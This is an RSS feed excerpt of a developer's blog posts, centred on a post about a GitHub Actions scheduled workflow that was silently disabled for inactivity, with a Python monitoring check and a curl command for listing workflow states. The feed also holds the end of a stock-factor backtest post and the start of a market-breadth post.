&lt;li&gt;587-stock liquid universe drawn from my own cache — not the full ~5,200-stock market, and subject to whatever selection my cache accumulated.&lt;/li&gt;
&lt;li&gt;5-day horizon only, close-to-close, &lt;strong&gt;no transaction costs, no slippage, no limit-up tradability filter&lt;/strong&gt;. Chinese A-shares have price limits and T+1 settlement; a 5-day backtest that ignores them overstates any edge.&lt;/li&gt;
&lt;li&gt;IC measures ranking, not returns. A negative IC does not mean "the inverse strategy prints money."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But none of those caveats rescue the composite. A scorer whose best idea is "prefer stocks with a low absolute share price" and whose other two channels point the wrong way should not be presented as a three-pillar system. It should be presented as one weak factor and two things I hadn't tested.&lt;/p&gt;




&lt;p&gt;Reproducibility: 587 stocks, 180 qfq bars, 41,090 observations, 70 IC dates, one script. The measurement tooling behind this (and behind my parallel-tool batching, timeout phase probes, and clock-calibration studies) lives in &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;my GitHub repo&lt;/a&gt; — the general principle in all of them is the same: don't trust the number, measure what the number predicts.&lt;/p&gt;

&lt;p&gt;If you want the packaged version with the scanner and the IC/half-split gate built in, it's listed on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 (Xiaping)&lt;/a&gt; — the skill marketplace where I publish these tools with their self-tests attached.&lt;/p&gt;

&lt;p&gt;If you've audited a multi-factor scorer and the composite beat its best component, I'd like to see the methodology — that's the result I couldn't produce.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My 'Updated Every 6 Hours' Site Served 45-Day-Old Data. GitHub Never Failed Once.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 09 Nov 2026 10:45:56 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-updated-every-6-hours-site-served-45-day-old-data-github-never-failed-once-3ebg</link>
      <guid>https://dev.to/felixwang007/my-updated-every-6-hours-site-served-45-day-old-data-github-never-failed-once-3ebg</guid>
      <description>&lt;p&gt;My site's header said &lt;strong&gt;"auto-collected · updated daily · zero API dependencies · fully automated on GitHub."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It was serving data from &lt;strong&gt;2026-09-25 17:02 UTC&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Today is 2026-11-09. That's 44.7 days of a page that renders perfectly, returns HTTP 200, and lies to every visitor — including me, because I was the one who built it and I never noticed.&lt;/p&gt;

&lt;p&gt;Here is the part that should bother you more than the staleness: &lt;strong&gt;GitHub never reported a single failure.&lt;/strong&gt; Not one red X. The 234-run history is 100% green.&lt;/p&gt;

&lt;h2&gt;
  
  
  The failure was an absence, not an error
&lt;/h2&gt;

&lt;p&gt;The project is &lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;github-daily-trending&lt;/a&gt;: a workflow that scrapes GitHub Trending every 6 hours, regenerates a static page, and deploys it to Pages. The workflow file is unremarkable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;schedule&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cron&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*/6&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;*'&lt;/span&gt;
  &lt;span class="na"&gt;push&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;      &lt;span class="c1"&gt;# &amp;lt;-- read-only, this matters later&lt;/span&gt;
  &lt;span class="na"&gt;pages&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I checked the repository API and got a number I did not expect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /repos/Felixwang007/github-daily-trending/actions/workflows
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Daily Trending Deploy  | state = disabled_inactivity
pages-build-deployment | state = active
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;state: disabled_inactivity&lt;/code&gt;. Not &lt;code&gt;disabled_manually&lt;/code&gt;. Not a failed run. The scheduler had switched my workflow off and told exactly one API field about it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The timeline, to the hour
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;th&gt;UTC timestamp&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Only human commit (&lt;code&gt;init&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;2026-07-27 13:28:34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;60-day inactivity mark&lt;/td&gt;
&lt;td&gt;2026-09-25 13:28:34&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Last successful run&lt;/td&gt;
&lt;td&gt;2026-09-25 17:01:50 (+3.6 h)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 commits pushed&lt;/td&gt;
&lt;td&gt;2026-10-29 12:56 → &lt;strong&gt;0 runs&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Page served to visitors&lt;/td&gt;
&lt;td&gt;stale, 44.7 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;234 workflow runs at 4/day across 60.1 days lines up almost exactly (≈241 expected, minus the slots that never fired after the cutoff). Since the disable, roughly &lt;strong&gt;179 scheduled invocations were skipped&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;GitHub disables &lt;code&gt;schedule&lt;/code&gt; triggers in public repositories after 60 days without repository activity. My workflow had &lt;code&gt;contents: read&lt;/code&gt;, so it deployed an artifact and &lt;strong&gt;wrote nothing back to the repository&lt;/strong&gt;. Its own activity therefore never counted as activity. The automation was structurally incapable of keeping its own clock alive:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A pipeline that only reads from the repo can never prove the repo is alive.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is not a GitHub bug. That is a design defect on my side, and it took 45 days of silently wrong data to surface it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The detail that proves it isn't my code
&lt;/h2&gt;

&lt;p&gt;On 2026-10-29 I pushed four commits to &lt;code&gt;main&lt;/code&gt; while adding an unrelated probe script. The workflow has &lt;code&gt;push&lt;/code&gt; in its &lt;code&gt;on:&lt;/code&gt; block, so those commits should have produced four runs.&lt;/p&gt;

&lt;p&gt;They produced zero. Disabling by inactivity doesn't just kill the schedule — it detaches every trigger from the workflow. So the natural first hypothesis, "my scraper broke," was wrong, and I would have wasted hours reading Python tracebacks that never existed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why nothing alerted me
&lt;/h2&gt;

&lt;p&gt;Every check I had — and, I suspect, every check most people have — is defined over &lt;strong&gt;the set of runs&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Did the last run fail?" → there is no last run, so nothing to fail&lt;/li&gt;
&lt;li&gt;"Is the success rate dropping?" → 234/234, perfect score&lt;/li&gt;
&lt;li&gt;"Did the deploy step error?" → the deploy step didn't execute&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When the set of executions is empty, every predicate over that set is vacuously true. The green history was a record of &lt;em&gt;past invocations&lt;/em&gt;, and I had been reading it as evidence that the &lt;em&gt;trigger still existed&lt;/em&gt;. Those are different claims, and only one of them was still being tested.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signal was there the whole time
&lt;/h2&gt;

&lt;p&gt;You don't need to scrape the UI banner. The state is a first-class API field. Here is the check I now run, ~90 lines, no dependencies beyond stdlib — it reads each workflow's &lt;code&gt;state&lt;/code&gt;, parses the cron cadence from the workflow file, and compares the last run's age against that cadence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;wfs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;API&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/repos/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/actions/workflows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;wfs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;workflows&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;crons&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_workflow_crons&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# from the YAML body
&lt;/span&gt;    &lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_parse_cron_interval_minutes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;crons&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;runs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;API&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/repos/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/actions/workflows/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/runs?per_page=1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;age_h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hours_since&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;workflow_runs&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;created_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;state&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;disabled_inactivity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DISABLED_INACTIVITY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;        &lt;span class="c1"&gt;# platform stopped calling it
&lt;/span&gt;    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;wf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;state&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;disabled_manually&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DISABLED_MANUALLY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;age_h&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;STALE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;                      &lt;span class="c1"&gt;# active, but not firing on time
&lt;/span&gt;    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;OK&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Real output from the broken repo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"repo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Felixwang007/github-daily-trending"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"workflow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Daily Trending Deploy"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"state"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"disabled_inactivity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"0 */6 * * *"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"interval_min"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;360&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"last_run"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-09-25T17:01:50Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"age_hours"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1073.6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"verdict"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"DISABLED_INACTIVITY"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And a positive control (&lt;code&gt;home-assistant/core&lt;/code&gt;) so the tool isn't just always shouting:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"workflow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Build images"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"state"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"active"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"0 2 * * *"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
 &lt;/span&gt;&lt;span class="nl"&gt;"interval_min"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1440&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"age_hours"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8.4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"verdict"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OK"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two design notes, because both matter for false-alarm hygiene:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The cron parser only interprets &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;*/N&lt;/code&gt;, and hourly shapes. Expressions it cannot parse (weekly, or with trailing inline comments) degrade to &lt;em&gt;"cannot judge staleness"&lt;/em&gt; rather than &lt;em&gt;"alarm"&lt;/em&gt;. An unreadable schedule is not evidence of a broken one.&lt;/li&gt;
&lt;li&gt;Non-scheduled workflows (like the Pages build) have no cadence, so they are never reported as stale.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Exit code is 0 when every schedule is alive, 2 when anything isn't, 3 when it had no repo to check. "I had nothing to look at" is a distinct outcome from "everything is fine" — the same lesson as the 45 missing days, applied one level up.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fixes, ranked by how much I trust them
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Make the trigger external.&lt;/strong&gt; The 60-day clock is computed by GitHub, and GitHub is also the system that would need to tell me the clock expired. Judgement can't live inside the thing being judged. The durable fix is a trigger from outside: an external cron (a VPS, another platform, even a laptop &lt;code&gt;at&lt;/code&gt; job) calls &lt;code&gt;POST /repos/{o}/{r}/actions/workflows/{file}/dispatches&lt;/code&gt; once a week. Then the schedule's own health stops mattering.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Alarm on the artifact's age, not on CI colour.&lt;/strong&gt; The deployed page writes its own &lt;code&gt;updated_at&lt;/code&gt;. Comparing &lt;em&gt;that&lt;/em&gt; against wall-clock time is a measurement I control and it would have fired on day 1. CI status was a measurement that disappeared along with the thing it described.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Keepalive commits — treat as unproven.&lt;/strong&gt; Writing a timestamp file back into the repo is the popular trick. I'm not relying on it: the same "is this repo active?" heuristic that decided I was dormant is the one that would have to accept a bot commit as activity, and I can't verify that from the outside.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What I did today, measured:&lt;/strong&gt; re-enabled the workflow (&lt;code&gt;PUT .../actions/workflows/321419158/enable&lt;/code&gt;, HTTP 204 → &lt;code&gt;state: active&lt;/code&gt;), dispatched it by hand, run completed successfully in about 2 minutes, and the page timestamp moved:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;before: 2026-09-25 17:02 UTC
after : 2026-11-09 10:43 UTC
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Re-enabling is &lt;strong&gt;not&lt;/strong&gt; the fix. The clock restarted; in 60 days it will stop again unless the trigger comes from outside. I'm writing that down here mostly so future me can't pretend he didn't know.&lt;/p&gt;

&lt;h2&gt;
  
  
  The shape of this bug is everywhere
&lt;/h2&gt;

&lt;p&gt;This isn't a GitHub quirk. It's what happens whenever a pipeline's health is inferred from its own executions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A market data feed that stops publishing doesn't throw — the last bar just sits there and your indicators keep computing on stale prices. This exact failure mode is why every A-share script I run now asserts the newest date present in the data, instead of asserting that the request returned 200.&lt;/li&gt;
&lt;li&gt;A cron job whose &lt;code&gt;last_status&lt;/code&gt; is &lt;code&gt;ok&lt;/code&gt; can be a job that produced zero rows for three weeks.&lt;/li&gt;
&lt;li&gt;A heartbeat written by the same process it monitors proves the process was alive at write time, not that it's alive now.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The general rule I've settled on: &lt;strong&gt;every "is it working?" check needs a claim about what should exist &lt;em&gt;now&lt;/em&gt;, verified from a vantage point the failing component doesn't control.&lt;/strong&gt; "No errors" is not that claim. It's the absence of evidence, dressed as evidence.&lt;/p&gt;

&lt;p&gt;If you run any scheduled automation, go paste this into a shell right now — it takes one call and it's free:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://api.github.com/repos/OWNER/REPO/actions/workflows"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.workflows[] | "\(.state)\t\(.name)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anything that isn't &lt;code&gt;active&lt;/code&gt; has been quietly not running for some number of days you don't know yet.&lt;/p&gt;




&lt;p&gt;The aggregator (now actually updating) is at &lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;Felixwang007/github-daily-trending&lt;/a&gt;, and the reliability tooling from earlier posts lives in &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;awesome-content-tools&lt;/a&gt;. The audit scripts I use for CI gates, log checks, and cron hygiene are published on 虾评 (Xiaping) as standalone skill packages — search "cron-reliability-doctor" if you want the packaged version of the checks above.&lt;/p&gt;

&lt;p&gt;If you've had a monitor go green while the thing it watched was dead, I'd like to hear which signal you ended up trusting. That's the part I still don't have a general answer for.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>5,191 A-Share Stocks, One Number: Breadth Went 13% to 42% in Four Sessions. My Backtest Says Do Not Trade That Pattern.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 05 Nov 2026 09:14:11 +0000</pubDate>
      <link>https://dev.to/felixwang007/5191-a-share-stocks-one-number-breadth-went-13-to-42-in-four-sessions-my-backtest-says-do-not-3a4a</link>
      <guid>https://dev.to/felixwang007/5191-a-share-stocks-one-number-breadth-went-13-to-42-in-four-sessions-my-backtest-says-do-not-3a4a</guid>
      <description>&lt;h1&gt;
  
  
  5,191 A-Share Stocks, One Number: Breadth Went 13% → 42% in Four Sessions. My Backtest Says Don't Trade That Pattern.
&lt;/h1&gt;

&lt;p&gt;There is a class of market indicator that is cheap to compute, widely quoted, and almost never counted correctly: market breadth.&lt;/p&gt;

&lt;p&gt;The version I use is boring on purpose. For every listed stock, take the 20-day moving average of closes. Breadth is the share of stocks trading above it. That is it — no weighting, no index constituents, no vendor.&lt;/p&gt;

